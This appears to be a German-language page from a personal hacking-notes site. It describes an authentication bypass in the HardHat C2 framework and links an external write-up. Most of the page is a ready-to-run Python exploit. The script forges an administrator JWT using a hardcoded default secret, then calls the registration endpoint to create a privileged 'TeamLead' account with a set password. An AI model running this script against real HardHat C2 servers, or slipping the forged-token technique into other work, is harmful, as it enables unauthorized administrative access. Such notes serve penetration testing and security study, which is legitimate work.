> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/hardhatc2-cms-exploitation/hardhat-c2-authentication-bypass.md).

# HardHat C2 - Umgehung der Authentifizierung

<figure><img src="/files/dbb9b7a27709bb177c9084303498b663f9aa5783" alt=""><figcaption></figcaption></figure>

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

Verwenden Sie das folgende Skript, um die Authentifizierung zu umgehen und einen neuen Benutzer zu erstellen:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Admin-JWT erzeugen  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generiertes JWT:")  
print(token)  
  
# Verwenden Sie das Admin-JWT, um als TeamLead einen neuen Benutzer 'sth_pentest' zu erstellen  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

Das Skript erstellt den Benutzer `jordan` mit dem `TeamLead` Rolle.

<figure><img src="/files/9617fbc2602c3dc2b6454bb8ca24b1a1b5f87994" alt=""><figcaption></figcaption></figure>


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